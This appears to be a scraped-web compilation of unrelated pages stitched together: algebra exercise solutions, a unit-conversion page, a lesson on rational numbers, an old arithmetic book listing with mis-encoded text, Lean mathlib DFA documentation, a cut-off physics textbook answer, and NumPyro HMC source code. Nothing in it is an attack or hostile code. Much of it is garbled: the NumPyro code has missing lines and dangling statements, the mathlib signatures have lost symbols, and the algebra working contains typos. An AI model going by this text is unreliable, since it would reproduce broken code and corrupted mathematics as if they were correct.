Degree,\n\n= (1 + 1)\n\n= 2\n\n(c) Degree,\n\n= (3 + 2 + 1)\n\n=  6\n\n(d) Degree,\n\n= (3 + 3 + 2)\n\n=  8\n\n(e) Degree,\n\n= (2 + 3)\n\n= 5\n\nQuestion no – (4)\n\nSolution :\n\n(a) Degree,\n\n= 3\n\n(b) Degree,\n\n= 3\n\n(c) Degree,\n\n= 9\n\nQuestion no – (5)\n\nSolution :\n\n(a) Like terms\n\n(b) Unlike terms.\n\n(c) Unlike terms\n\n(d) Like terms.\n\nQuestion no – (6)\n\nSolution :\n\n(a) Trinomial\n\n(b) Monomial\n\n(c) Binomial\n\n(d) Trinomial\n\n(e) Trinomial\n\n(f) Polynomial\n\nOperations on Algebraic Expressions Exercise 11.2 Solution :\n\nQuestion no – (1)\n\nSolution :\n\n(a) Let, father age = x year.\n\nRavi’s age = ( x – 32) year.\n\n(b) Let, lions = x\n\ntigers = (x – 10)\n\n(c) Let, last year =  x\n\nNow, (x – 20)% rainfall in this year.\n\n(d) Toms brother age = x year\n\nTom’s age\n\n= (x – 4) years.\n\n(e) Algebraic expression = 300d\n\n(f) Amount of money of each employee get,\n\n= 10000/x\n\n[x = total number of employee]\n\nOperations on Algebraic Expressions Exercise 11.3 Solution :\n\nQuestion no – (1)\n\nSolution :\n\n(a) (5a – 9b) + (-16a + 19b)\n\n= 5a – 9b – 16a + 19b\n\n= – 11a + 10b\n\n(b) (41h + 15g) + (7g – 13h)\n\n= 41h  + 15g + 7g – 13h\n\n= 28h + 22g\n\n(c) (5p3 – 3p2 – 6 p – 3) + (3p3 + 7b – 10)\n\n= 5p3 – 3p2 – 6p – 3 + 3p3 + 7p – 10\n\n= 8p3 – 3p2 + p – 13\n\n(d) (-14a2 + 21b2 + 9ab) + (33a2 – 25b2 + ab)\n\n= -14a2 + 21b2 + 9ab + 33a2 – 25b2 + ab\n\n= 19a2 – 4b2 + 10ab\n\nQuestion no – (2)\n\nSolution :\n\n(a) (7b + 16c) – (52c – 12b)\n\n= 7b + 16c – 52c  + 12b\n\n= 19b – 36c\n\n(b) (19l6 + 15l2 -12l) – (19l6 + 15l2 – 12l)\n\n= 19l6 + 15l2 – 12l 19l6 – 15l2 + 12l\n\n= 0\n\n(c) (12k2 + 2k – 9) – (9k2 – 14k + 6)\n\n= 12k2 + 2k – 9 – 9k2 + 14k – 6\n\n= 3k2 + 16k  – 15\n\n(d) (17bc + 19ca – 12ab) – (-2ab + 5bc + 3ca)\n\n= 17bc + 19ca – 12ab – 2ab – 5bc – 3ca\n\n= 12bc + 16ca – 10ab\n\nQuestion no – (3)\n\nSolution :\n\n(a) A + A + C\n\n=  -4x2 + 3y2 + 14xy + (-4x2 + 3y2 + 14xy) + (22x2 – 25y2 + 17xy)\n\n= -4x2 + 3y2 + 14xy – 4x2 + 3y2 + 14xy + 22x2 – 25y2 + 17xy\n\n= 14x2 – 19y2 + 45xy\n\n(b) A + C – B\n\n= – 4x2 + 3y2 + 14xy + 22x2 – 25xy + 17xy – (21x2 – 15xy + 9y2)\n\n= – 4x2 + 3y2 + 14xy + 22x2 – 25y2 + 17xy – 21x2 + 15xy – 9y2\n\n= – 3x2 – 31y2 + 46xy\n\n(c) C – A + B\n\n= 22x2 – 25y2 + 17xy – (-4x2 + 3y2 + 14xy) + 21x2 – 15xy + 9y2\n\n= 22x2  – 25y2  + 17xy + 4x2 – 3y2 – 14xy  + 21x2 – 15xy + 9x2\n\n= 47x2 – 19y2 – 12xy\n\nQuestion no – (4)\n\nSolution :\n\nSum = (7a – 2b + 3c) + (5a + 6b – 9c)\n\n= 7a -2b  +3c + 5a + 6b – 9c\n\n= 12a + 4b – 6c\n\nNow, (14a – 25b + 30c) – (12 a 4b – 6c)\n\n=  14a – 25b + 30c – 12a 4b + 6c\n\n=  2a –  29b + 36c\n\nQuestion no – (5)\n\nSolution :\n\n= (54x8 – 40x3 + 72x2 – 98) – (13×8 – 12x3 + x2 – 19x + 49)\n\n= 54x8 – 40x3 + 72x2 – 98 + 12x3 – x2 + 19x – 49\n\n= 41x8 – 28x3 + 71x2 + 19x – 147\n\nQuestion no – (6)\n\nSolution :\n\nPerimeter,\n\n= 2 [(-4x + 6y + 3z) + (12x – 4y + 9z)\n\n= 2 [-4x + 6y + 3z +12x – 4y + 9z]\n\n= 2 [8x + 2y + 12z]\n\n= 16x + 4y + 24z\n\nQuestion no – (7)\n\nSolution :\n\nThird side,\n\n= 29a + 9b – 6c – {(16a + 5b – 2c) – (-6a + 7b – (2c)}\n\n= 29a + 9b – 6c – {16a + 5b – 2c + 6a – 7b + 12c}\n\n= 29a + 9b – 6c – 16a – 5b + 2c – 6a + 7b – 12c\n\n=  7a + 11b – 16c\n\nNext Chapter Solution :\n\nUpdated: June 15, 2023 — 9:18 am" ]
[ null ]
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https://citizenmaths.com/chemical-amount/1035-kilomoles-to-moles
[ "# 1035 Kilomoles to Moles\n\nKilomole\n• Kilomole\n• Millimole\n• Mole\n• Pound-Mole\n=\nMole\n• Kilomole\n• Millimole\n• Mole\n• Pound-Mole\nFormula 1,035 kmol = 1035 x 1000 mol = 1,035,000 mol\n1,035 kmol = 1,035,000 mol\n\nExplanation:\n• 1 kmol is equal to 1,000 mol, therefore 1035 kmol is equivalent to 1,035,000 mol.\n• 1 Kilomole = 1 x 1000 = 1,000 Moles\n• 1,035 Kilomoles = 1035 x 1000 = 1,035,000 Moles\n\n## 1035 Kilomoles to Moles Conversion Table\n\nKilomole (kmol) Mole (mol)\n1,035.1 kmol 1,035,100.0 mol\n1,035.2 kmol 1,035,200 mol\n1,035.3 kmol 1,035,300 mol\n1,035.4 kmol 1,035,400.0 mol\n1,035.5 kmol 1,035,500 mol\n1,035.6 kmol 1,035,600.0 mol\n1,035.7 kmol 1,035,700 mol\n1,035.8 kmol 1,035,800 mol\n1,035.9 kmol 1,035,900.0 mol\n\n## Convert 1035 kmol to other units\n\nUnit Unit of Chemical Amount\nMillimole 1,035,000,000 mmol\nPound-Mole 2,281.78 lb-mol\nMole 1,035,000 mol" ]
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https://origin.geeksforgeeks.org/rational-numbers-between-two-rational-numbers-class-8-maths/
[ "", null, "GFG App\nOpen App", null, "Browser\nContinue\n\n# Rational Numbers Between Two Rational Numbers | Class 8 Maths\n\nReal numbers are categorized into rational and irrational numbers respectively. Given two integers p and q, a rational number is of the form p/q, where q > 0. A special case arises when q=1 and the rational number simply becomes an integer. Hence, all integers are rational numbers, equal to p. The number p/q reflects the ratio p:q. Some examples of rational numbers are the odd and even numbers, fractional as well as decimal numbers. All integers are also rational numbers.\n\n## Finding Rational Numbers between rational numbers\n\nAny pair of rational numbers have an infinite number of rational numbers between them. For instance, between two whole numbers. there exist a large number of decimal numbers, which can be computed up to any number of decimal places. Given two rational numbers, f1 and f2, there exists an infinite number of rational numbers between them. The given rational numbers can be represented on the number line, and the solution must lie between them.\n\n### Same Denominator Method for finding rational numbers between rational numbers\n\nLet us suppose the rational number f1 = p1/q1 and rational number f2 = p2/q2.\nThe following steps are performed to find one or more rational numbers between a pair of given rational numbers f1 and f2:\n\nStep 1: Check the denominator values of both the fractions, that is compare the values of q1 and q2.\n\nStep 2: If both the denominators are equal, that is q1 = q2, the numerators are then compared, that is the values of p1 and p2 are checked.\n\nStep 3: If numerators differ by a large number, then we add any small constant integer value to the smaller numerator, keeping the denominator same. The rational numbers thus become p1/q1 and p2/q1 (since q1 = q2). Two cases may arise :\n\n• p1 > p2 by a large amount, then we can add any numerical value to p1 such that it is less than p2, keeping the denominator same.\n• p1 < p2 by a large amount, then we can add any numerical value to p2 such that it is less than p1, keeping the denominator same.\n\nStep 4: If numerators differ by small value, then we can multiply both the rational numbers by a large constant value and follow first sub point, of adding a small constant integer to the smaller numerator. Multiplying the rational numbers by a large constant values increases the gap in the values of p1 and p2.\n\n### Sample Problems\n\nExample 1:\n\nLet f1 = 2/9\nf2 = 38/9\nFind 5 rational numbers between f1 and f2.\n\nSolution:", null, "Since the denominators are the same, we find fractions by adding 1 to a smaller numerator, that is, f1 numerator = 2.\n3/9, 4/9, 5/9, 6/9\n\nExample 2:\n\nLet f1 = 2/9\nf2 = 3/9\n\nFind 7 rational numbers\n\nSolution:", null, "Step 1: Multiply f1 and f2 by 10\nTherefore, f’1 = 20\n90\nf’2 = 30\n90\nStep 2: Now we can find the required number of rational numbers between the converted f’1 and f’2:\n21/90, 22/90, 23/90, 24/90, 25/90, 26/90, 27/90\n\nExample 3:\n\nLet f1 = 7/11\n\nf2 = 5/11\n\nFind a rational number between them.\n\nSolution:\n\nSince the denominators are the same, we find fractions by adding 1 to a smaller numerator, that is, f2 numerator = 5.\n\nThe required fraction is = 6/11\n\n### Different Denominator Method for finding rational numbers between rational numbers\n\nLet us suppose the rational number f1 = p1/q1 and rational number f2 = p2/q2. The following steps are performed to find one or more rational numbers between a pair of given rational numbers f1 and f2:\n\nStep 1: Check the denominator values of both the fractions, that is compare the values of q1 and q2.\n\nStep 2: If denominators are not equal, that is q1 ≠ q2, we first equalize denominators either by taking LCM of the two fractions or by successive multiplication of denominators of any one of the fractions to both numerator and denominator of other, such that the denominators become same.\n\nStep 3: After, equating the denominators, we follow the Same Denominator Method to compute rational numbers between them.\n\n### Sample Problems\n\nExample 1:\n\nLet f1 = 3/5\n\nf2 = 4/7, find a rational number between them.\n\nSolution:\n\nSince, denominators are different we take LCM of denominators, to equalize both rational number’s LCM (5, 7) = 35\n\nTherefore  f1 = f1 *  7  =  21/35\n\nf2 =  f2 * 5  = 20/35\n\nSince, the fractions are two close, we need to increase the gap between them by multiplying them with a constant value. Multiplying both the fractions by 10 we have,\n\nf1 = 210/350\n\nf2 = 200/350\n\nNow two fractions between f1 and f2 are ,\n\n201/350 , 202/350\n\nExample 2:\n\nLet f1 = 1/4\n\nf2 = 1, find a rational number between them.\n\nSolution:\n\nSince, denominators are different we take LCM of denominators, to equalize both rational number’s LCM (1, 4) = 4\n\nTherefore, f1 =1/4\n\nf2 = 4/4\n\nRational number between is 2/4\n\nExample 3:\nLet f1 = 1/2\nf2 = 1/8, find a rational number between them\n\nSolution:\n\nSince, denominators are different we take LCM of denominators, to equalize both rational number’s LCM (2, 8) = 8\nTherefore f1 = f1 * 4/4 = 4/8\nf2 = 1/8\nOne of the required rational number between 1/8 and 4/8 is 3/8.\n\n### Formula method for computing rational numbers\n\nIrrespective of computing denominators of fractions, we can find rational numbers, between a given pair of rational numbers by finding the median of the given pair, that is, dividing them into half.\n\nLet  f1= p1/q2 and  f2 = p2/q2 be the two rational numbers\nNow, rational numbers between them can be computed by:", null, "This method always finds the rational number exactly in the middle between the given pair of rational numbers.\n\nExample 1: Let f1= 1/4\nf2= 2/4", null, "Example 2: Let f1= 1/11\nf2= 3/8", null, "Computing LCM of fractions\n\n⇒  (8+33)/88×2\n⇒   41/176\n\nMy Personal Notes arrow_drop_up" ]
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https://books.google.gr/books?id=z0IXAAAAYAAJ&vq=worth&dq=editions:HARVARD32044096994090&hl=el&output=html_text&source=gbs_navlinks_s
[ "# The American Tutor's Assistant Revised: Or, A Compendious System of Practical Arithmetic : Containing the Several Rules of that Useful Science, Concisely Defined, Methodically Arranged, and Fully Exemplified : The Whole Particularly Adapted to the Easy and Regular Instruction of Youth in Our American Schools\n\nJ. Grigg, 1824 - 212 уелЯдет\n\n### Фй лЭне пй чсЮуфет -Уэнфбоз ксйфйкЮт\n\nДен енфпрЯубме ксйфйкЭт уфйт ухнЮиейт фпрпиеуЯет.\n\n### ДзмпцйлЮ брпурЬумбфб\n\nУелЯдб 59 - Then multiply the second and third terms together, and divide the product by the first term: the quotient will be the fourth term, or answer.\nУелЯдб 155 - Divide the difference of the extremes by the number of terms, less 1, and the quotient will be the common difference.\nУелЯдб 173 - ... If the vessel be double-decked, take the length thereof from the fore part of the main stern, to the after part of the stern-post, above the upper deck; the breadth thereof at the broadest part above the main wales, half of which breadth shall be accounted the depth of such vessel, and...\nУелЯдб 120 - RULE. Multiply all the numerators together for a new numerator, and all the denominators for a new denominator: then reduce the new fraction to its lowest terms.\nУелЯдб 156 - Multiply the last term by the ratio, from the product subtract the first term, and divide the remainder by the ratio, less 1 ; the quotient will be the sum of the series required.\nУелЯдб 173 - ... of the breadth; multiply the remainder by the breadth, and the product by the depth...\nУелЯдб 150 - Subtract the square number from the left hand period, and to the remainder bring down the next period for a dividend.\nУелЯдб 121 - To reduce the fraction of one denomination to the fraction, of another, but less, retaining the same value. RULE. Multiply the..." ]
[ null ]
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https://leanprover-community.github.io/mathlib4_docs/Mathlib/Computability/DFA.html
[ "# Documentation\n\nMathlib.Computability.DFA\n\n# Deterministic Finite Automata #\n\nThis file contains the definition of a Deterministic Finite Automaton (DFA), a state machine which determines whether a string (implemented as a list over an arbitrary alphabet) is in a regular set in linear time. Note that this definition allows for Automaton with infinite states, a Fintype instance must be supplied for true DFA's.\n\nstructure DFA (α : Type u) (σ : Type v) :\nType (max u v)\n• step : σασ\n\nA transition function from state to state labelled by the alphabet.\n\n• start : σ\n\nStarting state.\n\n• accept : Set σ\n\nSet of acceptance states.\n\nA DFA is a set of states (σ), a transition function from state to state labelled by the alphabet (step), a starting state (start) and a set of acceptance states (accept).\n\nInstances For\ninstance DFA.instInhabitedDFA {α : Type u} {σ : Type v} [] :\nInhabited (DFA α σ)\ndef DFA.evalFrom {α : Type u} {σ : Type v} (M : DFA α σ) (start : σ) :\nList ασ\n\nM.evalFrom s x evaluates M with input x starting from the state s.\n\nInstances For\n@[simp]\ntheorem DFA.evalFrom_nil {α : Type u} {σ : Type v} (M : DFA α σ) (s : σ) :\nDFA.evalFrom M s [] = s\n@[simp]\ntheorem DFA.evalFrom_singleton {α : Type u} {σ : Type v} (M : DFA α σ) (s : σ) (a : α) :\nDFA.evalFrom M s [a] = DFA.step M s a\n@[simp]\ntheorem DFA.evalFrom_append_singleton {α : Type u} {σ : Type v} (M : DFA α σ) (s : σ) (x : List α) (a : α) :\nDFA.evalFrom M s (x ++ [a]) = DFA.step M (DFA.evalFrom M s x) a\ndef DFA.eval {α : Type u} {σ : Type v} (M : DFA α σ) :\nList ασ\n\nM.eval x evaluates M with input x starting from the state M.start.\n\nInstances For\n@[simp]\ntheorem DFA.eval_nil {α : Type u} {σ : Type v} (M : DFA α σ) :\nDFA.eval M [] = M.start\n@[simp]\ntheorem DFA.eval_singleton {α : Type u} {σ : Type v} (M : DFA α σ) (a : α) :\nDFA.eval M [a] = DFA.step M M.start a\n@[simp]\ntheorem DFA.eval_append_singleton {α : Type u} {σ : Type v} (M : DFA α σ) (x : List α) (a : α) :\nDFA.eval M (x ++ [a]) = DFA.step M (DFA.eval M x) a\ntheorem DFA.evalFrom_of_append {α : Type u} {σ : Type v} (M : DFA α σ) (start : σ) (x : List α) (y : List α) :\nDFA.evalFrom M start (x ++ y) = DFA.evalFrom M (DFA.evalFrom M start x) y\ndef DFA.accepts {α : Type u} {σ : Type v} (M : DFA α σ) :\n\nM.accepts is the language of x such that M.eval x is an accept state.\n\nInstances For\ntheorem DFA.mem_accepts {α : Type u} {σ : Type v} (M : DFA α σ) (x : List α) :\nx DFA.evalFrom M M.start x M.accept\ntheorem DFA.evalFrom_split {α : Type u} {σ : Type v} (M : DFA α σ) [] {x : List α} {s : σ} {t : σ} (hlen : ) (hx : DFA.evalFrom M s x = t) :\nq a b c, x = a ++ b ++ c b [] DFA.evalFrom M s a = q DFA.evalFrom M q b = q DFA.evalFrom M q c = t\ntheorem DFA.evalFrom_of_pow {α : Type u} {σ : Type v} (M : DFA α σ) {x : List α} {y : List α} {s : σ} (hx : DFA.evalFrom M s x = s) (hy : y KStar.kstar {x}) :\nDFA.evalFrom M s y = s\ntheorem DFA.pumping_lemma {α : Type u} {σ : Type v} (M : DFA α σ) [] {x : List α} (hx : x ) (hlen : ) :\na b c, x = a ++ b ++ c b [] {a} * KStar.kstar {b} * {c}" ]
[ null ]
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https://www.bartleby.com/solution-answer/chapter-11-problem-11cq-college-physics-11th-edition/9781305952300/figure-cq1111-shows-a-composite-bar-made-of-three-different-materials-that-connects-a-hot-reservoir/e769e2b9-98d4-11e8-ada4-0ee91056875a
[ "", null, "", null, "", null, "Chapter 11, Problem 11CQ\n\nChapter\nSection\nTextbook Problem\n\nFigure CQ11.11 shows a composite bar made of three different materials that connects a hot reservoir at 100°C to a cold reservoir at 0°C. If the sections A, B, and C all have the same dimensions and the temperatures shown in the figure are constant, rank the thermal conductivities from largest to smallest.", null, "Figure CQ11.11\n\nTo determine\nRanking of thermal conductivities from largest to smallest.\n\nExplanation\n\nEvery substance has difference thermal conductivity. The substance with larger thermal conductivity conducts heat quicker than the substance with smaller thermal conductivity.\n\nThe rate of energy transfer by conduction through a rod area A and thickness L is,\n\nP=kAΔTL , ΔT is the difference in temperature between the ends of the rod.\n\nIn the Figure CQ11.11, the sections A, B and C all have same dimensions with difference thermal conductivity. So, the larger difference in temperature between the end point denotes larger thermal conductivity and smaller difference in temperature between the end point denotes smaller thermal conductivity.\n\nSection A\n\nΔTA=(100°80°)=20°\n\nSection B</\n\nStill sussing out bartleby?\n\nCheck out a sample textbook solution.\n\nSee a sample solution\n\nThe Solution to Your Study Problems\n\nBartleby provides explanations to thousands of textbook problems written by our experts, many with advanced degrees!\n\nGet Started\n\nToday, an estimated 69 percent of the adults in the United States are overweight or obese.\n\nNutrition: Concepts and Controversies - Standalone book (MindTap Course List)\n\nWhat is the function of the central vacuole in plants?\n\nBiology: The Dynamic Science (MindTap Course List)\n\nMatch the term listed in Column A with its definition from Column B\n\nNutrition Through the Life Cycle (MindTap Course List)", null, "" ]
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https://num.pyro.ai/en/stable/_modules/numpyro/infer/hmc_util.html
[ "# Source code for numpyro.infer.hmc_util\n\n```# Copyright Contributors to the Pyro project.\n\nfrom collections import OrderedDict, namedtuple\n\nfrom jax import grad, jacfwd, random, value_and_grad, vmap\nfrom jax.flatten_util import ravel_pytree\nimport jax.numpy as jnp\nfrom jax.scipy.linalg import solve_triangular\nfrom jax.scipy.special import expit\nfrom jax.tree_util import tree_flatten, tree_map\n\nimport numpyro.distributions as dist\nfrom numpyro.util import cond, identity, while_loop\n\n# XXX: we need to store rng_key here in case we use find_reasonable_step_size functionality\n[\n\"step_size\",\n\"inverse_mass_matrix\",\n\"mass_matrix_sqrt\",\n\"mass_matrix_sqrt_inv\",\n\"ss_state\",\n\"mm_state\",\n\"window_idx\",\n\"rng_key\",\n],\n)\nIntegratorState = namedtuple(\n\"IntegratorState\", [\"z\", \"r\", \"potential_energy\", \"z_grad\"]\n)\nIntegratorState.__new__.__defaults__ = (None,) * len(IntegratorState._fields)\n\nTreeInfo = namedtuple(\n\"TreeInfo\",\n[\n\"z_left\",\n\"r_left\",\n\"z_right\",\n\"r_right\",\n\"z_proposal\",\n\"z_proposal_pe\",\n\"z_proposal_energy\",\n\"depth\",\n\"weight\",\n\"r_sum\",\n\"turning\",\n\"diverging\",\n\"sum_accept_probs\",\n\"num_proposals\",\n],\n)\n\ndef dual_averaging(t0=10, kappa=0.75, gamma=0.05):\n\"\"\"\nDual Averaging is a scheme to solve convex optimization problems. It\nbelongs to a class of subgradient methods which uses subgradients (which\nlie in a dual space) to update states (in primal space) of a model. Under\nsome conditions, the averages of generated parameters during the scheme are\nguaranteed to converge to an optimal value. However, a counter-intuitive\naspect of traditional subgradient methods is \"new subgradients enter the\nmodel with decreasing weights\" (see reference ). Dual Averaging scheme\nresolves that issue by updating parameters using weights equally for\nsubgradients, hence we have the name \"dual averaging\".\n\nThis class implements a dual averaging scheme which is adapted for Markov\nchain Monte Carlo (MCMC) algorithms. To be more precise, we will replace\nsubgradients by some statistics calculated at the end of MCMC trajectories.\nFollowing , we introduce some free parameters such as ``t0`` and\n``kappa``, which is helpful and still guarantees the convergence of the\nscheme.\n\n**References:**\n\n1. *Primal-dual subgradient methods for convex problems*,\nYurii Nesterov\n2. *The No-U-turn sampler: adaptively setting path lengths in Hamiltonian Monte Carlo*,\nMatthew D. Hoffman, Andrew Gelman\n\n:param int t0: A free parameter introduced in reference that stabilizes\nthe initial steps of the scheme. Defaults to 10.\n:param float kappa: A free parameter introduced in reference that\ncontrols the weights of steps of the scheme. For a small ``kappa``, the\nscheme will quickly forget states from early steps. This should be a\nnumber in :math:`(0.5, 1]`. Defaults to 0.75.\n:param float gamma: A free parameter introduced in reference which\ncontrols the speed of the convergence of the scheme. Defaults to 0.05.\n:return: a (`init_fn`, `update_fn`) pair.\n\"\"\"\n\ndef init_fn(prox_center=0.0):\n\"\"\"\n:param float prox_center: A parameter introduced in reference which\npulls the primal sequence towards it. Defaults to 0.\n:return: initial state for the scheme.\n\"\"\"\nx_t = jnp.zeros(())\nx_avg = jnp.zeros(()) # average of primal sequence\ng_avg = jnp.zeros(()) # average of dual sequence\nt = jnp.array(0, dtype=jnp.result_type(int))\nreturn x_t, x_avg, g_avg, t, prox_center\n\ndef update_fn(g, state):\n\"\"\"\n:param float g: The current subgradient or statistics calculated during\nan MCMC trajectory.\n:param state: Current state of the scheme.\n:return: new state for the scheme.\n\"\"\"\nx_t, x_avg, g_avg, t, prox_center = state\nt = t + 1\n# g_avg = (g_1 + ... + g_t) / t\ng_avg = (1 - 1 / (t + t0)) * g_avg + g / (t + t0)\n# According to formula (3.4) of , we have\n# x_t = argmin{ g_avg . x + loc_t . |x - x0|^2 },\n# hence x_t = x0 - g_avg / (2 * loc_t),\n# where loc_t := beta_t / t, beta_t := (gamma/2) * sqrt(t).\nx_t = prox_center - (t**0.5) / gamma * g_avg\n# weight for the new x_t\nweight_t = t ** (-kappa)\nx_avg = (1 - weight_t) * x_avg + weight_t * x_t\nreturn x_t, x_avg, g_avg, t, prox_center\n\nreturn init_fn, update_fn\n\ndef welford_covariance(diagonal=True):\n\"\"\"\nImplements Welford's online method for estimating (co)variance. Useful for\nadapting diagonal and dense mass structures for HMC. It is required that\neach sample is a 1-dimensional array.\n\n**References:**\n\n1. *The Art of Computer Programming*,\nDonald E. Knuth\n\n:param bool diagonal: If True, we estimate the variance of samples.\nOtherwise, we estimate the covariance of the samples. Defaults to True.\n:return: a (`init_fn`, `update_fn`, `final_fn`) triple.\n\"\"\"\n\ndef init_fn(size):\n\"\"\"\n:param int size: size of each sample. For a structured mass matrix,\nthis is a dict mapping from tuples of site names to the shape\nof the mass matrix.\n:return: initial state for the scheme.\n\"\"\"\nif isinstance(size, dict):\nstate = {}\nfor site_names, size_block in size.items():\nstate[site_names] = init_fn(size_block)\nreturn state\n\nif isinstance(size, int):\nshape = (size,) if diagonal else (size, size)\nelse:\nshape = size\n\nmean = jnp.zeros(shape[-1])\nm2 = jnp.zeros(shape)\nn = jnp.array(0, dtype=jnp.result_type(int))\nreturn mean, m2, n\n\ndef update_fn(sample, state):\n\"\"\"\n:param sample: A new sample.\n:param state: Current state of the scheme.\n:return: new state for the scheme.\n\"\"\"\nif isinstance(state, dict):\nassert isinstance(sample, dict)\nnew_state = {}\nfor site_names, state_block in state.items():\nsample_block = tuple(sample[k] for k in site_names)\nnew_state[site_names] = update_fn(sample_block, state_block)\nreturn new_state\n\nsample, _ = ravel_pytree(sample)\nmean, m2, n = state\nn = n + 1\ndelta_pre = sample - mean\nmean = mean + delta_pre / n\ndelta_post = sample - mean\nif jnp.ndim(m2) == 1:\nm2 = m2 + delta_pre * delta_post\nelse:\nm2 = m2 + jnp.outer(delta_post, delta_pre)\nreturn mean, m2, n\n\ndef final_fn(state, regularize=False):\n\"\"\"\n:param state: Current state of the scheme.\n:param bool regularize: Whether to adjust diagonal for numerical stability.\n:return: a triple of estimated covariance, the square root of precision, and\nthe inverse of that square root.\n\"\"\"\nif isinstance(state, dict):\ncov, cov_inv_sqrt, tril_inv = {}, {}, {}\nfor site_names, state_block in state.items():\ncov_block, cov_inv_sqrt_block, tril_inv_block = final_fn(\nstate_block, regularize=regularize\n)\ncov[site_names] = cov_block\ncov_inv_sqrt[site_names] = cov_inv_sqrt_block\ntril_inv[site_names] = tril_inv_block\nreturn cov, cov_inv_sqrt, tril_inv\n\nmean, m2, n = state\n# XXX it is not necessary to check for the case n=1\ncov = m2 / (n - 1)\nif regularize:\n# Regularization from Stan\nscaled_cov = (n / (n + 5)) * cov\nshrinkage = 1e-3 * (5 / (n + 5))\nif jnp.ndim(scaled_cov) == 1:\ncov = scaled_cov + shrinkage\nelse:\ncov = scaled_cov + shrinkage * jnp.identity(mean.shape)\nif jnp.ndim(cov) == 2:\n# copy the implementation of distributions.util.cholesky_of_inverse here\ntril_inv = jnp.swapaxes(\njnp.linalg.cholesky(cov[..., ::-1, ::-1])[..., ::-1, ::-1], -2, -1\n)\nidentity = jnp.identity(cov.shape[-1])\ncov_inv_sqrt = solve_triangular(tril_inv, identity, lower=True)\nelse:\ntril_inv = jnp.sqrt(cov)\ncov_inv_sqrt = jnp.reciprocal(tril_inv)\nreturn cov, cov_inv_sqrt, tril_inv\n\nreturn init_fn, update_fn, final_fn\n\ndef _value_and_grad(f, x, forward_mode_differentiation=False):\nif forward_mode_differentiation:\nreturn f(x), jacfwd(f)(x)\nelse:\n\ndef _kinetic_grad(kinetic_fn, inverse_mass_matrix, r):\nelse:\nreturn grad(kinetic_fn, argnums=1)(inverse_mass_matrix, r)\n\ndef velocity_verlet(potential_fn, kinetic_fn, forward_mode_differentiation=False):\nr\"\"\"\nSecond order symplectic integrator that uses the velocity verlet algorithm\nfor position `z` and momentum `r`.\n\n:param potential_fn: Python callable that computes the potential energy\ngiven input parameters. The input parameters to `potential_fn` can be\nany python collection type.\n:param kinetic_fn: Python callable that returns the kinetic energy given\ninverse mass matrix and momentum.\n:return: a pair of (`init_fn`, `update_fn`).\n\"\"\"\n\ndef init_fn(z, r, potential_energy=None, z_grad=None):\n\"\"\"\n:param z: Position of the particle.\n:param r: Momentum of the particle.\n:param potential_energy: Potential energy at `z`.\n:param z_grad: gradient of potential energy at `z`.\n:return: initial state for the integrator.\n\"\"\"\nif potential_energy is None or z_grad is None:\npotential_fn, z, forward_mode_differentiation\n)\nreturn IntegratorState(z, r, potential_energy, z_grad)\n\ndef update_fn(step_size, inverse_mass_matrix, state):\n\"\"\"\n:param float step_size: Size of a single step.\n:param inverse_mass_matrix: Inverse of mass matrix, which is used to\ncalculate kinetic energy.\n:param state: Current state of the integrator.\n:return: new state for the integrator.\n\"\"\"\nz, r, _, z_grad = state\nr = tree_map(\nlambda r, z_grad: r - 0.5 * step_size * z_grad, r, z_grad\n) # r(n+1/2)\nz = tree_map(lambda z, r_grad: z + step_size * r_grad, z, r_grad) # z(n+1)\npotential_fn, z, forward_mode_differentiation\n)\nr = tree_map(\nlambda r, z_grad: r - 0.5 * step_size * z_grad, r, z_grad\n) # r(n+1)\nreturn IntegratorState(z, r, potential_energy, z_grad)\n\nreturn init_fn, update_fn\n\ndef find_reasonable_step_size(\npotential_fn,\nkinetic_fn,\nmomentum_generator,\ninit_step_size,\ninverse_mass_matrix,\nz_info,\nrng_key,\n):\n\"\"\"\nFinds a reasonable step size by tuning `init_step_size`. This function is used\nto avoid working with a too large or too small step size in HMC.\n\n**References:**\n\n1. *The No-U-Turn Sampler: Adaptively Setting Path Lengths in Hamiltonian Monte Carlo*,\nMatthew D. Hoffman, Andrew Gelman\n\n:param potential_fn: A callable to compute potential energy.\n:param kinetic_fn: A callable to compute kinetic energy.\n:param momentum_generator: A generator to get a random momentum variable.\n:param float init_step_size: Initial step size to be tuned.\n:param inverse_mass_matrix: Inverse of mass matrix.\n:param IntegratorState z_info: The current integrator state.\n:param jax.random.PRNGKey rng_key: Random key to be used as the source of randomness.\n:return: a reasonable value for step size.\n:rtype: float\n\"\"\"\n# We are going to find a step_size which make accept_prob (Metropolis correction)\n# near the target_accept_prob. If accept_prob:=exp(-delta_energy) is small,\n# then we have to decrease step_size; otherwise, increase step_size.\ntarget_accept_prob = jnp.log(0.8)\n\n_, vv_update = velocity_verlet(potential_fn, kinetic_fn)\nz, _, potential_energy, z_grad = z_info\nif potential_energy is None or z_grad is None:\nfinfo = jnp.finfo(jnp.result_type(init_step_size))\n\ndef _body_fn(state):\nstep_size, _, direction, rng_key = state\nrng_key, rng_key_momentum = random.split(rng_key)\n# scale step_size: increase 2x or decrease 2x depends on direction;\n# direction=1 means keep increasing step_size, otherwise decreasing step_size.\n# Note that the direction is -1 if delta_energy is `NaN`, which may be the\n# case for a diverging trajectory (e.g. in the case of evaluating log prob\n# of a value simulated using a large step size for a constrained sample site).\nstep_size = (2.0**direction) * step_size\nr = momentum_generator(z, inverse_mass_matrix, rng_key_momentum)\n_, r_new, potential_energy_new, _ = vv_update(\nstep_size, inverse_mass_matrix, (z, r, potential_energy, z_grad)\n)\nenergy_current = kinetic_fn(inverse_mass_matrix, r) + potential_energy\nenergy_new = kinetic_fn(inverse_mass_matrix, r_new) + potential_energy_new\ndelta_energy = energy_new - energy_current\ndirection_new = jnp.where(target_accept_prob < -delta_energy, 1, -1)\nreturn step_size, direction, direction_new, rng_key\n\ndef _cond_fn(state):\nstep_size, last_direction, direction, _ = state\n# condition to run only if step_size is not too small or we are not decreasing step_size\nnot_small_step_size_cond = (step_size > finfo.tiny) | (direction >= 0)\n# condition to run only if step_size is not too large or we are not increasing step_size\nnot_large_step_size_cond = (step_size < finfo.max) | (direction <= 0)\nnot_extreme_cond = not_small_step_size_cond & not_large_step_size_cond\nreturn not_extreme_cond & (\n(last_direction == 0) | (direction == last_direction)\n)\n\nstep_size, _, _, _ = while_loop(_cond_fn, _body_fn, (init_step_size, 0, 0, rng_key))\nreturn step_size\n\n\"\"\"\nBuilds a window adaptation schedule to be used during warmup phase of HMC.\n\n:param int num_steps: Number of warmup steps.\n:return: a list of contiguous windows, each has attributes `start` and `end`,\nwhere `start` is the starting index and `end` is the ending index of the window.\n\n**References:**\n\n1. 